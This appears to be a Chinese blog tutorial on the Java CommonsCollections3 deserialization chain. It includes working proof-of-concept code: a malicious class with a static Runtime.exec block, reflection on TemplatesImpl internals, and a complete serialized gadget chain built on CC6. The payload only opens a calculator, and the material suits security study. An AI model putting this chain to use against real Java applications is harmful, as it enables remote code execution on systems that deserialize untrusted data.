Java反序列化(4)—— CC链3

CC3

和前面的链调用Runtime.exec()执行命令不同,这条链用的是defineClass加载一个恶意类,并将其初始化来达到一种代码执行的效果。

代码执行

首先看下它是如何实现代码执行的。

最后调用的ClassLoader.defineClass的形式如下

顺着往上找,找到TemplatesImpl这个类,这个类中完成了整个调用,流程大致如下

恶意代码执行的逻辑在getTransletInstance中,这里面先调用了defineTransletClasses加载类,然后将这个类实例化。所以,我们可以把恶意代码放在类的静态代码块/构造方法中去执行。

然后看实现这条链要什么条件。TemplatesImpl的构造方法中什么都没有,所以我们要用反射一个一个修改它的属性,来让这个流程走通。

首先必须满足的两个属性

  • _name:不为null
  • _tfactory:是一个TransformerFactoryImpl对象


再来看看实例化这个类是怎么被实例化的。

_bytecodes是一个二维的byte数组,defineTransletClasses会将这些类依次加载,然后放到_class数组中

然后在getTransletInstance()中实例化_class数组中下标为_transletIndex的类

_transletIndex的初始值为-1,同时defineTransletClasses中如果加载的类的父类是ABSTRACT_TRANSLET会将其变为这个类对应的下标。

这里要实例化我们加载的Evil类有两个方法:

  • 让Evil类继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
  • 修改_transletIndex值来对应我们Evil类的下标

方法一

写一个Evil类如下

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Evil extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet{
    static {
        Runtime r = Runtime.getRuntime();
        try {
            r.exec("open -a Calculator");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }

    // AbstractTranslet是一个抽象类,所以要实现其中的两个抽象方法
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

编译为.class文件用于后面的加载

利用的代码如下:

package CC3;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class CC3Test {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        
        // 反射修改必要的属性
        Class c = templates.getClass();
        Field nameField = c.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "skky");
        Field tfactoryField = c.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());
        Field bytecodesField = c.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] bytecode = Files.readAllBytes(Paths.get("/Users/ea5ter/Documents/CTF/code/javaWeb/CC1/src/main/java/CC3/Evil2.class"));       // Evil bytecode
        byte[][] bytecodes = {bytecode};
        bytecodesField.set(templates, bytecodes);

        templates.newTransformer();


    }
}

方法二

Evil类不用继承AbstractTranslet,再额外准备一个空类

import java.io.IOException;

public class Evil2 {
    static {
        Runtime r = Runtime.getRuntime();
        try {
            r.exec("open -a Calculator");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}
public class Kong {
}

利用时修改_transletIndex的值为1

package CC3;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class CC3Test {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        
        // 反射修改必要的属性
        Class c = templates.getClass();
        Field nameField = c.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "skky");
        Field tfactoryField = c.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());
        Field bytecodesField = c.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] bytecode1 = Files.readAllBytes(Paths.get("/Users/ea5ter/Documents/CTF/code/javaWeb/CC1/src/main/java/CC3/Kong.class"));       // Evil bytecode
        byte[] bytecode2 = Files.readAllBytes(Paths.get("/Users/ea5ter/Documents/CTF/code/javaWeb/CC1/src/main/java/CC3/Evil2.class"));       // Evil bytecode
        byte[][] bytecodes = {bytecode1, bytecode2};
        bytecodesField.set(templates, bytecodes);
        //_transletIndex
        Field transletIndexField = c.getDeclaredField("_transletIndex");
        transletIndexField.setAccessible(true);
        transletIndexField.set(templates, 1);
        
        templates.newTransformer();


    }
}

不出意外应该可以弹出计算器了

比较有意思的是,这里我们又得到了一个public的可序列化类。那么也就可以用InvokerTransformer来调用,再把它拼到ChainedTransformer里,又可以来用前面的链来走通

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
        new ConstantTransformer(templates),
        new InvokerTransformer(
                "newTransformer",
                null,
                null
        )
});

chainedTransformer.transform(1);

InvokerTransformer被禁用

下面来找TemplatesImpl.newTransformer()被调用的地方,在TrAXFilter的构造函数中

利用很简单,实例化它就行,注意到TrAXFilter是一个不可序列化的类。

TrAXFilter trAXFilter = new TrAXFilter(templates);

其实前面的TemplatesImpl, TrAXFilter都还是sun包中的,我们的CC库在这最后一步被利用——InstantiateTransformer.transform

好巧不巧,这里用反射实例化了一个类。按照参数说明我们来测试一下

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(
        new Class[]{Templates.class},
        new Object[]{templates}
);
instantiateTransformer.transform(TrAXFilter.class);

这时你就会惊奇地发现,我们又找到了一个O.transform()的利用形式。而这个过程没有用到InvokerTransformer

把它拼到ChainedTransformer,用我们之前任意一条链都可以完成这个构造

这里我拼到CC6,完整代码如下

package CC3;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        // 反射修改必要的属性
        Class c = templates.getClass();
        Field nameField = c.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "skky");
        Field tfactoryField = c.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());
        Field bytecodesField = c.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
//        byte[] bytecode1 = Files.readAllBytes(Paths.get("/Users/ea5ter/Documents/CTF/code/javaWeb/CC1/src/main/java/CC3/Kong.class"));       // Evil bytecode
//        byte[] bytecode2 = Files.readAllBytes(Paths.get("/Users/ea5ter/Documents/CTF/code/javaWeb/CC1/src/main/java/CC3/Evil2.class"));       // Evil bytecode
        byte[] bytecode = Files.readAllBytes(Paths.get("/Users/ea5ter/Documents/CTF/code/javaWeb/CC1/src/main/java/CC3/Evil.class"));       // Evil bytecode
//        byte[][] bytecodes = {bytecode1, bytecode2};
        byte[][] bytecodes = {bytecode};
        bytecodesField.set(templates, bytecodes);
        //_transletIndex
        Field transletIndexField = c.getDeclaredField("_transletIndex");
        transletIndexField.setAccessible(true);
        transletIndexField.set(templates, 1);

//        templates.newTransformer();


//        TrAXFilter trAXFilter = new TrAXFilter(templates);
//        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(
//                new Class[]{Templates.class},
//                new Object[]{templates}
//        );
//        instantiateTransformer.transform(TrAXFilter.class);

        Class rc = TrAXFilter.class;

        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(rc),
                new InstantiateTransformer(
                        new Class[]{Templates.class},
                        new Object[]{templates}
                )
        });

        Map<Object, Object> map = new HashMap<>();
        Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap<>(), null);    // 用一个空的HashMap初始化
//        tiedMapEntry.hashCode();

        HashMap<Object, Object> hMap = new HashMap<>();
        hMap.put(tiedMapEntry, null);

        // 反射修改tiedMapEntry
        Class tc =tiedMapEntry.getClass();
        Field mapField = tc.getDeclaredField("map");
        mapField.setAccessible(true);
        mapField.set(tiedMapEntry, lazyMap);

//        serialize(hMap);
        unserialize("ser.bin");

    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
        oos.close();
    }
}